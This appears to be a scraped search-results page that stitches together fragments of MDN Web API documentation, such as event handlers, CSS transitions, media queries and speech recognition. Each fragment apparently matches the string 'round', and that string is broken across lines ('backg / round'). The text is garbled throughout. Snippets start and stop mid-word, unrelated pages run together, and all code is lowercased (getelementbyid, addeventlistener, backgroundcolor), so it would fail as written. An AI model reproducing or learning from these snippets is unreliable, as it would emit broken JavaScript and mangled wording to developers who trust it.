html here's the form: <div class="container"> <p>please enter your name using lowercase letters only.</p> <form> <input type="text" id="my-textbox"> </form> </div> css we use a little bit of css for the warning box we'll draw when the user presses an invalid key: .warning { border: 2px solid #f39389; border-radius: 2px; padding: 10px; position: absolute; backg
round-color: #fbd8d4; color: #3b3c40; } javascript and here's the javascript code that does the job.
Event.timeStamp - Web APIs
</p> <p>timestamp: <span id="time">-</span></p> javascript function gettime(event) { var time = document.getelementbyid("time"); time.firstchild.nodevalue = event.timestamp; } document.body.addeventlistener("keypress", gettime); result reduced time precision to offer protection against timing attacks and fingerprinting, the precision of event.timestamp might get
rounded depending on browser settings.
EventTarget.removeEventListener() - Web APIs
const body = document.queryselector('body') const clicktarget = document.getelementbyid('click-target') const mouseovertarget = document.getelementbyid('mouse-over-target') let toggle = false; function makebackg
roundyellow() { if (toggle) { body.style.backg
roundcolor = 'white'; } else { body.style.backg
roundcolor = 'yellow'; } toggle = !toggle; } clicktarget.addeventlistener('click', makebackg
roundyellow, false ); mouseovertarget.addeventlistener('mouseover', function () { clicktarget.removeeventlistener('click', makebackg
roundyellow, false );...
FetchEvent - Web APIs
const cache = await caches.open('dynamic-v1'); const cachedresponse = await cache.match(event.request); if (cachedresponse) { // if we found a match in the cache, return it, but also // update the entry in the cache in the backg
round.
File.lastModified - Web APIs
ewithdate = new file([], 'file.bin', { lastmodified: new date(2017, 1, 1), }); console.log(filewithdate.lastmodified); //returns 1485903600000 const filewithoutdate = new file([], 'file.bin'); console.log(filewithoutdate.lastmodified); //returns current time reduced time precision to offer protection against timing attacks and fingerprinting, the precision of somefile.lastmodified might get
rounded depending on browser settings.
File.lastModifiedDate - Web APIs
ument.getelementbyid("myfileinput"); // files is a filelist object (simliar to nodelist) var files = fileinput.files; for (var i = 0; i < files.length; i++) { alert(files[i].name + " has a last modified date of " + files[i].lastmodifieddate); } reduced time precision to offer protection against timing attacks and fingerprinting, the precision of somefile.lastmodifieddate.gettime() might get
rounded depending on browser settings.
Using the Geolocation API - Web APIs
body { padding: 20px; backg
round-color:#ffffc9 } button { margin: .5rem 0; } html <button id = "find-me">show my location</button><br/> <p id = "status"></p> <a id = "map-link" target="_blank"></a> javascript function geofindme() { const status = document.queryselector('#status'); const maplink = document.queryselector('#map-link'); maplink.href = ''; maplink.textcontent = ''; function success(position) { ...
Geolocation API - Web APIs
body { padding: 20px; backg
round-color:#ffffc9 } button { margin: .5rem 0; } html <button id = "find-me">show my location</button><br/> <p id = "status"></p> <a id = "map-link" target="_blank"></a> javascript function geofindme() { const status = document.queryselector('#status'); const maplink = document.queryselector('#map-link'); maplink.href = ''; maplink.textcontent = ''; function success(position) { ...
GlobalEventHandlers.oncontextmenu - Web APIs
html <div class="shape">spinning</div> <p class="note" hidden>click to unpause.</p> css @keyframes spin { from { transform: rotate(0); } to { transform: rotate(1turn); } } .shape { width: 8em; height: 8em; display: flex; align-items: center; justify-content: center; animation: spin 18s linear infinite; backg
round: lightsalmon; border-radius: 42%; margin: 1em; } .paused { backg
round-color: #ddd; } .paused .shape { animation-play-state: paused; } javascript function pause(e) { body.classlist.add('paused'); note.removeattribute('hidden'); } function play(e) { body.classlist.remove('paused'); note.setattribute('hidden', ''); } const body = document.queryselector('body'); const note = doc...
GlobalEventHandlers.ondrag - Web APIs
; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.backg
round = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <!-- <div class="source"> --> <p i...
GlobalEventHandlers.ondragover - Web APIs
; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.backg
round = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handle...
GlobalEventHandlers.ondragstart - Web APIs
; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.backg
round = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handle...
GlobalEventHandlers.ondrop - Web APIs
; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.backg
round = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div class="source"> <p id="source" ondr...
GlobalEventHandlers.onerror - Web APIs
a worka
round is to isolate "script error." and handle it knowing that the error detail is only viewable in the browser console and not accessible via javascript.
GlobalEventHandlers.onmousedown - Web APIs
html <div class="container"> <div class="view" hidden></div> <img src="https://udn.realityripple.com/samples/90/a34a525ace.jpg"> </div> css .container { width: 320px; height: 213px; backg
round: black; } .view { position: absolute; width: 100px; height: 100px; backg
round: white; border-radius: 50%; } img { mix-blend-mode: darken; } javascript function showview(event) { view.removeattribute('hidden'); view.style.left = event.clientx - 50 + 'px'; view.style.top = event.clienty - 50 + 'px'; event.preventdefault(); } function moveview(event) { view.style.left = ev...
GlobalEventHandlers.onmousemove - Web APIs
html <p><a href="#" data-tooltip="first link">see a tooltip here …</a></p> <p><a href="#" data-tooltip="second link">… or here!</a></p> css .tooltip { position: absolute; z-index: 9999; padding: 6px; backg
round: #ffd; border: 1px #886 solid; border-radius: 5px; } javascript const tooltip = new (function() { const node = document.createelement('div'); node.classname = 'tooltip'; node.setattribute('hidden', ''); document.body.appendchild(node); this.follow = function(event) { node.style.left = event.clientx + 20 + 'px'; node.style.top = event.clienty + 10 + 'px'; }; this.show...
GlobalEventHandlers.onmouseup - Web APIs
html <div class="container"> <div class="toaster"></div> <div class="toast">hello world!</div> </div> css .container { position: absolute; left: 50%; bottom: 20px; transform: translate(-50%); } .toaster { width: 160px; height: 110px; backg
round: #bbb; border-radius: 10px 10px 0 0; } .toast { position: absolute; left: 50%; top: 50%; z-index: -1; width: 100px; height: 50px; padding: 10px; backg
round: #ed9; border-radius: 10px 10px 0 0; transform: translate(-50%, -90px); transition: transform .3s; } .depressed { transform: translate(-50%, -50%); } javascript function depress() { toast.classlist.add('depresse...
GlobalEventHandlers.onpointerdown - Web APIs
#target { width: 400px; height: 30px; text-align: center; font: 16px "open sans", "helvetica", sans-serif; color: white; backg
round-color: blue; border: 2px solid darkblue; cursor: pointer; user-select: none; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; } result the resulting output is shown below.
GlobalEventHandlers.ontransitioncancel - Web APIs
.box { margin-left: 70px; margin-top: 30px; border-style: solid; border-width: 1px; display: block; width: 100px; height: 100px; backg
round-color: #0000ff; color: #ffffff; padding: 20px; font: bold 1.6em "helvetica", "arial", sans-serif; -webkit-transition: width 2s, height 2s, backg
round-color 2s, -webkit-transform 2s, color 2s; transition: width 2s, height 2s, backg
round-color 2s, transform 2s, color 2s; } .box:hover { backg
round-color: #ffcccc; color: #000000; width: 200px; height: 200px; -webkit-transform: ro...
GlobalEventHandlers.ontransitionend - Web APIs
.box { margin-left: 70px; margin-top: 30px; border-style: solid; border-width: 1px; display: block; width: 100px; height: 100px; backg
round-color: #0000ff; color: #ffffff; padding: 20px; font: bold 1.6em "helvetica", "arial", sans-serif; transition: width 2s, height 2s, backg
round-color 2s, transform 2s, color 2s; } .box:hover { backg
round-color: #ffcccc; color: #000000; width: 200px; height: 200px; transform: rotate(180deg); } javascript next, we need to establish our event handlers to change the text content o...
GlobalEventHandlers.onwheel - Web APIs
html <div>scale me with your mouse wheel.</div> css body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-content: center; } div { width: 80px; height: 80px; backg
round: #cdf; padding: 5px; transition: transform .3s; } javascript function zoom(event) { event.preventdefault(); if (event.deltay < 0) { // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let s...
HTMLAnchorElement.referrerPolicy - Web APIs
examples var elt = document.createelement("a"); var linktext = document.createtextnode("my link"); elt.appendchild(linktext); elt.href = "https://developer.mozilla.org/"; elt.referrerpolicy = "no-referrer"; var div = document.getelementbyid("diva
round"); div.appendchild(elt); // when clicked, the link will not send a referrer header.
HTMLAreaElement.referrerPolicy - Web APIs
examples <img usemap="#mapa
round" width="100" height="100" src="/img/logo@2x.png" /> <map id="mymap" name="mapa
round" />> var elt = document.createelement("area"); elt.href = "/img2.png"; elt.shape = "rect"; elt.referrerpolicy = "no-referrer"; elt.coords = "0,0,100,100"; var map = document.getelementbyid("mymap"); map.appendchild(elt); // when clicked, the area's link will not send a referrer header.
msAudioDeviceType - Web APIs
syntax <audio src="sound.mp3" msaudiodevicetype="communications" /> by default, audio on your system will output to your default speakers and be considered a foreg
round element, meaning that the audio will play only when the element is active in the app.
HTMLDivElement - Web APIs
htmldivelement.align is a domstring representing an enumerated property indicating alignment of the element's contents with respect to the sur
rounding context.
HTMLElement: transitioncancel event - Web APIs
f addeventlistener(): const transition = document.queryselector('.transition'); transition.ontransitioncancel = () => { console.log('transition canceled'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition"></div> <div class="message"></div> .transition { width: 100px; height: 100px; backg
round: rgba(255,0,0,1); transition-property: transform backg
round; transition-duration: 2s; transition-delay: 2s; } .transition:hover { transform: rotate(90deg); backg
round: rgba(255,0,0,0); } to this, we'll add some javascript to indicate that the transitionstart, transitionrun, transitioncancel and transitionend events fire.
HTMLElement: transitionend event - Web APIs
ntransitionend: const transition = document.queryselector('.transition'); transition.ontransitionend = () => { console.log('transition ended'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; backg
round: rgba(255,0,0,1); transition-property: transform backg
round; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); backg
round: rgba(255,0,0,0); } to this, we'll add some javascript to indicate that the transitionstart, transitionrun, transitioncancel and transitionend events fire.
HTMLElement: transitionrun event - Web APIs
(): el.ontransitionrun = () => { console.log('transition started running, and will start transitioning when the transition delay has expired'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; backg
round: rgba(255,0,0,1); transition-property: transform, backg
round; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); backg
round: rgba(255,0,0,0); } to this, we'll add some javascript to indicate where the transitionstart and transitionrun events fire.
HTMLElement: transitionstart event - Web APIs
but using the ontransitionstart property instead of addeventlistener(): element.ontransitionrun = () => { console.log('started transitioning'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; backg
round: rgba(255,0,0,1); transition-property: transform, backg
round; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); backg
round: rgba(255,0,0,0); } to this, we'll add some javascript to indicate where the transitionstart and transitionrun events fire.
HTMLEmbedElement - Web APIs
htmlembedelement.align is a domstring representing an enumerated property indicating alignment of the element's contents with respect to the sur
rounding context.
HTMLHRElement - Web APIs
htmlhrelement.align is a domstring, an enumerated attribute indicating alignment of the rule with respect to the sur
rounding context.
HTMLHeadingElement - Web APIs
htmlheadingelement.align is a domstring representing an enumerated attribute indicating alignment of the heading with respect to the sur
rounding context.
contentDocument - Web APIs
example of contentdocument var iframedocument = document.getelementsbytagname("iframe")[0].contentdocument; iframedocument.body.style.backg
roundcolor = "blue"; // this would turn the iframe blue.
HTMLIFrameElement.contentWindow - Web APIs
example of contentwindow var x = document.getelementsbytagname("iframe")[0].contentwindow; //x = window.frames[0]; x.document.getelementsbytagname("body")[0].style.backg
roundcolor = "blue"; // this would turn the 1st iframe in document blue.
HTMLIFrameElement - Web APIs
htmliframeelement.align is a domstring that specifies the alignment of the frame with respect to the sur
rounding context.
HTMLImageElement.complete - Web APIs
these photos may be very large, so you don't want to wait for them to load, so your code uses async/await to load the images in the backg
round.
HTMLImageElement.crossOrigin - Web APIs
thanks for reading me.</p> </div> css body { font: 1.125rem/1.5, helvetica, sans-serif; } .container { display: flow-root; width: 37.5em; border: 1px solid #d2d2d2; } img { float: left; padding-right: 1.5em; } output { backg
round: rgba(100, 100, 100, 0.1); font-family: courier, monospace; width: 95%; } result specifications specification status comment html living standardthe definition of 'htmlimageelement.crossorigin' in that specification.
HTMLImageElement.loading - Web APIs
by establishing the intrinsic aspect ratio in this manner, you prevent elements from shifting a
round while the document loads, which can be disconcerting or offputting at best and can cause users to click the wrong thing at worst, depending on the exact timing of the deferred loads and reflows.
HTMLImageElement.referrerPolicy - Web APIs
examples var img = new image(); img.src = 'img/logo.png'; img.referrerpolicy = 'origin'; var div = document.getelementbyid('diva
round'); div.appendchild(img); // fetch the image using the origin as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
HTMLImageElement.srcset - Web APIs
<div class="box"> <img src="/files/16797/clock-demo-200px.png" alt="clock" srcset="/files/16864/clock-demo-200px.png 1x, /files/16797/clock-demo-400px.png 2x"> </div> css the css simply specifies that the image and its sur
rounding box should be 200 pixels square and should have a simple border a
round it.
HTMLImageElement.x - Web APIs
css the css defining the appearance of the table: .group1 { backg
round-color: #d7d9f2; } table { border-collapse: collapse; border: 2px solid rgb(100, 100, 100); font-family: sans-serif; } td, th { border: 1px solid rgb(100, 100, 100); padding: 10px 14px; } td > img { max-width: 4em; } result the resulting table looks like this: specifications specification status comment css object model (cssom) view modulethe defini...
HTMLImageElement.y - Web APIs
css the css defining the appearance of the table: .group1 { backg
round-color: #d7d9f2; } table { border-collapse: collapse; border: 2px solid rgb(100, 100, 100); font-family: sans-serif; } td, th { border: 1px solid rgb(100, 100, 100); padding: 10px 14px; } td > img { max-width: 4em; } result the resulting table looks like this: specifications specification status comment css object model (cssom) view modulethe defini...
HTMLInputElement.stepDown() - Web APIs
the stepdown() method will not allow the input to go out of range, in this case stopping when it reaches 0 and
rounding down and floats that are passed as a parameter.
HTMLInputElement.stepUp() - Web APIs
the stepup will not allow the input to out of range, in this case stopping when it reaches 400, and
rounding down any floats that are passed as a parameter.
HTMLMediaElement.autoplay - Web APIs
note: some browsers offer users the ability to override autoplay in order to prevent disruptive audio or video from playing without permission or in the backg
round.
HTMLMediaElement.currentTime - Web APIs
example var video = document.createelement('video'); console.log(video.currenttime); usage notes reduced time precision to offer protection against timing attacks and fingerprinting, browsers may
round or otherwise adjust the value returned by currenttime.
MediaQueryList.addListener() - Web APIs
examples var para = document.queryselector('p'); var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backg
roundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backg
roundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'addlistener' in that specificati...
MediaQueryList.removeListener() - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backg
roundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backg
roundcolor = 'blue'; } } mql.addlistener(screentest); // later on, when it is no longer needed mql.removelistener(screentest); specifications specification status comment css object m...
MediaQueryList - Web APIs
var para = document.queryselector('p'); var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backg
roundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backg
roundcolor = 'blue'; } } mql.addeventlistener('change', screentest); note: you can find this example on github (see the source code, and also see it running live).
MediaQueryListEvent.matches - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backg
roundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backg
roundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'matches' in that specification.
MediaQueryListEvent.media - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backg
roundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backg
roundcolor = 'blue'; } console.log(e.media); } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'media'...
MediaQueryListEvent - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backg
roundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backg
roundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylistevent' in that spe...
MediaRecorder - Web APIs
rmedia supported.'); var constraints = { audio: true }; var chunks = []; navigator.mediadevices.getusermedia(constraints) .then(function(stream) { var mediarecorder = new mediarecorder(stream); visualize(stream); record.onclick = function() { mediarecorder.start(); console.log(mediarecorder.state); console.log("recorder started"); record.style.backg
round = "red"; record.style.color = "black"; } stop.onclick = function() { mediarecorder.stop(); console.log(mediarecorder.state); console.log("recorder stopped"); record.style.backg
round = ""; record.style.color = ""; } mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var clipname =...
Recording a media element - Web APIs
<div class="bottom"> <pre id="log"></pre> </div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 2px; border: 1px solid black; } .button { cursor: pointer; display: block; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; backg
round-color: darkgreen; text-decoration: none; } h2 { margin-bottom: 4px; } .left { margin-right: 10px; float: left; width: 160px; padding: 0px; } .right { margin-left: 10px; float: left; width: 160px; padding: 0px; } .bottom { clear: both; padding-top: 10px; } javascript content now let's have a look at the javascript code; this is where the majority of the action happen...
Media Source API - Web APIs
it lays the g
roundwork for adaptive bitrate streaming clients (such as those using dash or hls) to be built on its extensible api.
Capabilities, constraints, and settings - Web APIs
y></video> <div class="button" id="stopbutton"> stop video </div> <div id="log"> </div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 150px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; backg
round-color: darkgreen; } .wrapper { margin-bottom: 10px; width: 600px; } .trackrow { height: 200px; } .leftside { float: left; width: calc(calc(100%/2) - 10px); } .rightside { float: right; width: calc(calc(100%/2) - 10px); } textarea { padding: 8px; } h3 { margin-bottom: 3px; } #supportedconstraints { column-count: 2; -moz-column-count: 2; } #log { padding-top: 10px; }...
MouseEvent.initMouseEvent() - Web APIs
example html <div style="backg
round:red; width:180px; padding:10px;"> <div id="out"></div> <input type="text"> </div> javascript document.body.onclick = function(){ e = arguments[0]; var dt = e.target,stag = dt.tagname.tolowercase(); document.getelementbyid("out").innerhtml = stag; }; var simulateclick = function(){ var evt = document.createevent("mouseevents"); evt.initmouseevent("click", true, true, window, 0, 0...
MouseEvent.movementX - Web APIs
html <p id="log">move your mouse a
round.</p> javascript function logmovement(event) { log.insertadjacenthtml('afterbegin', `movement: ${event.movementx}, ${event.movementy}<br>`); while (log.childnodes.length > 128) log.lastchild.remove() } const log = document.getelementbyid('log'); document.addeventlistener('mousemove', logmovement); result specifications specification status comment pointer lockth...
MouseEvent.movementY - Web APIs
html <p id="log">move your mouse a
round.</p> javascript function logmovement(event) { log.innertext = `movement: ${event.movementx}, ${event.movementy}\n${log.innertext}`; } const log = document.getelementbyid('log'); document.addeventlistener('mousemove', logmovement); result specifications specification status comment pointer lockthe definition of 'mouseevent.movementy' in that specification.
MouseEvent.relatedTarget - Web APIs
html <body id="body"> <div id="outer"> <div id="red"></div> <div id="blue"></div> </div> <p id="log"></p> </body> css #outer { width: 250px; height: 125px; display: flex; } #red { flex-grow: 1; backg
round: red; } #blue { flex-grow: 1; backg
round: blue; } #log { max-height: 120px; overflow-y: scroll; } javascript const mouseoutlog = document.getelementbyid('log'), red = document.getelementbyid('red'), blue = document.getelementbyid('blue'); red.addeventlistener('mouseover', overlistener); red.addeventlistener('mouseout', outlistener); blue.addeventlistener('mouseover', over...
MutationEvent - Web APIs
cross-browser support these events are not implemented consistently across different browsers, for example: ie prior to version 9 didn't support the mutation events at all and does not implement some of them correctly in version 9 (for example, domnodeinserted) webkit doesn't support domattrmodified (see webkit bug 8191 and the worka
round) "mutation name events", i.e.
Navigator.sendBeacon() - Web APIs
historically, this was addressed with some of the following worka
rounds to delay the page unload long enough to send data to some url: submitting the data with a blocking synchronous xmlhttprequest call in unload or beforeunload event handlers.
Navigator - Web APIs
this value is an approximation given by
rounding to the nearest power of 2 and dividing that number by 1024.
Online and offline events - Web APIs
ml("beforeend", "event: " + event.type + "; status: " + condition); } window.addeventlistener('online', updateonlinestatus); window.addeventlistener('offline', updateonlinestatus); }); a touch of css #status { position: fixed; width: 100%; font: bold 1em sans-serif; color: #fff; padding: 0.5em; } #log { padding: 2.5em 0.5em 0.5em; font: 1em sans-serif; } .online { backg
round: green; } .offline { backg
round: red; } and the corresponding htmlxxx when mochitests for this are created, point to those instead and update this example -nickolay <div id="status"></div> <div id="log"></div> <p>this is a test</p> here's the live result notes if the api isn't implemented in the browser, you can use other signals to detect if you are offline including using service wo...
NetworkInformation.downlink - Web APIs
the downlink read-only property of the networkinformation interface returns the effective bandwidth estimate in megabits per second,
rounded to the nearest multiple of 25 kilobits per seconds.
NetworkInformation.rtt - Web APIs
the networkinformation.rtt read-only property returns the estimated effective
round-trip time of the current connection,
rounded to the nearest multiple of 25 milliseconds.
Node.getRootNode() - Web APIs
nt = document.queryselector('.js-parent'), child = document.queryselector('.js-child'), shadowhost = document.queryselector('.js-shadowhost'); console.log(parent.getrootnode().nodename); // #document console.log(child.getrootnode().nodename); // #document // create a shadowroot var shadowroot = shadowhost.attachshadow({mode:'open'}); shadowroot.innerhtml = '<style>div{backg
round:#2bb8aa;}</style>' + '<div class="js-shadowchild">content</div>'; var shadowchild = shadowroot.queryselector('.js-shadowchild'); // the default value of composed is false console.log(shadowchild.getrootnode() === shadowroot); // true console.log(shadowchild.getrootnode({composed:false}) === shadowroot); // true console.log(shadowchild.getrootnode({composed:true}).nodename); // #d...
Node.isConnected - Web APIs
mple: // create a shadow root var shadow = this.attachshadow({mode: 'open'}); // create some css to apply to the shadow dom var style = document.createelement('style'); console.log(style.isconnected); // returns false style.textcontent = ` .wrapper { position: relative; } .info { font-size: 0.8rem; width: 200px; display: inline-block; border: 1px solid black; padding: 10px; backg
round: white; border-radius: 10px; opacity: 0; transition: 0.6s all; positions: absolute; bottom: 20px; left: 10px; z-index: 3 } `; // attach the created style element to the shadow dom shadow.appendchild(style); console.log(style.isconnected); // returns true polyfill node.isconnected can be polyfilled with the following code for ie10 and edgehtml: /* * node.isconnected polyfill fo...
OfflineAudioContext.suspend() - Web APIs
note that the maximum precision of suspension is the size of the render quantum and the specified suspension time will be
rounded down to the nearest render quantum boundary.
PaintWorklet.registerPaint - Web APIs
li { backg
round-image: paint(checkerboard); } specifications specification status comment css painting api level 1the definition of 'paintworklet.registerpaint' in that specification.
Request.cache - Web APIs
({status: 504}) : // worka
round for chrome; which simply fails with a typeerror promise.reject(e)) .then(res => { if (res.status === 504) { controller.abort() controller = new abortcontroller(); return fetch("some.json", {cache: "force-cache", mode: "same-origin", signal: controller.signal}) } const date = res.headers.get("date"), dt = date ?
SVGAElement - Web APIs
svgaelement.ping is a domstring that reflects the ping attribute, containing a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the backg
round).
Sensor APIs - Web APIs
ambientlightsensorsecure context returns the current light level or illuminance of the ambient light a
round the hosting device.
ServiceWorkerRegistration.periodicSync - Web APIs
the periodicsync read-only property of the serviceworkerregistration interface returns a reference to the periodicsyncmanager interface, which manages periodic backg
round synchronization processes.
ShadowRoot - Web APIs
ate the css found inside it: function updatestyle(elem) { var shadow = elem.shadowroot; var childnodes = shadow.childnodes; for(var i = 0; i < childnodes.length; i++) { if(childnodes[i].nodename === 'style') { childnodes[i].textcontent = 'div {' + 'width: ' + elem.getattribute('l') + 'px;' + 'height: ' + elem.getattribute('l') + 'px;' + 'backg
round-color: ' + elem.getattribute('c') + ';' + '}'; } } } specifications specification status comment domthe definition of 'interface shadowroot' in that specification.
SpeechRecognition.onresult - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; } specifications specification status comment web speech apithe definition of 'onresult' in that specification.
SpeechRecognition: result event - Web APIs
you can use the result event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('result', function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; }); or use the onresult event handler property: recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specifica...
SpeechRecognitionAlternative.confidence - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; console.log('confidence: ' + event.results[0][0].confidence); } specifications specification status comment web speech apithe definition of 'confidence' in that specification.
SpeechRecognitionAlternative.transcript - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; } specifications specification status comment web speech apithe definition of 'transcript' in that specification.
SpeechRecognitionAlternative - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionalternative' in that specification.
SpeechRecognitionEvent.emma - Web APIs
examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; console.log(event.emma); } ...
SpeechRecognitionEvent.interpretation - Web APIs
examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; console.log(event.interpretation); } ...
SpeechRecognitionEvent.resultIndex - Web APIs
examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; console.log(event.resultindex); // returns 0 if there is only one result } specifications specification status comment web speech apithe definition of 'resultindex' in that specification.
SpeechRecognitionEvent.results - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; } specifications specification status comment web speech apithe definition of 'results' in that specification.
SpeechRecognitionEvent - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionevent' in that specification.
SpeechRecognitionResult.isFinal - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
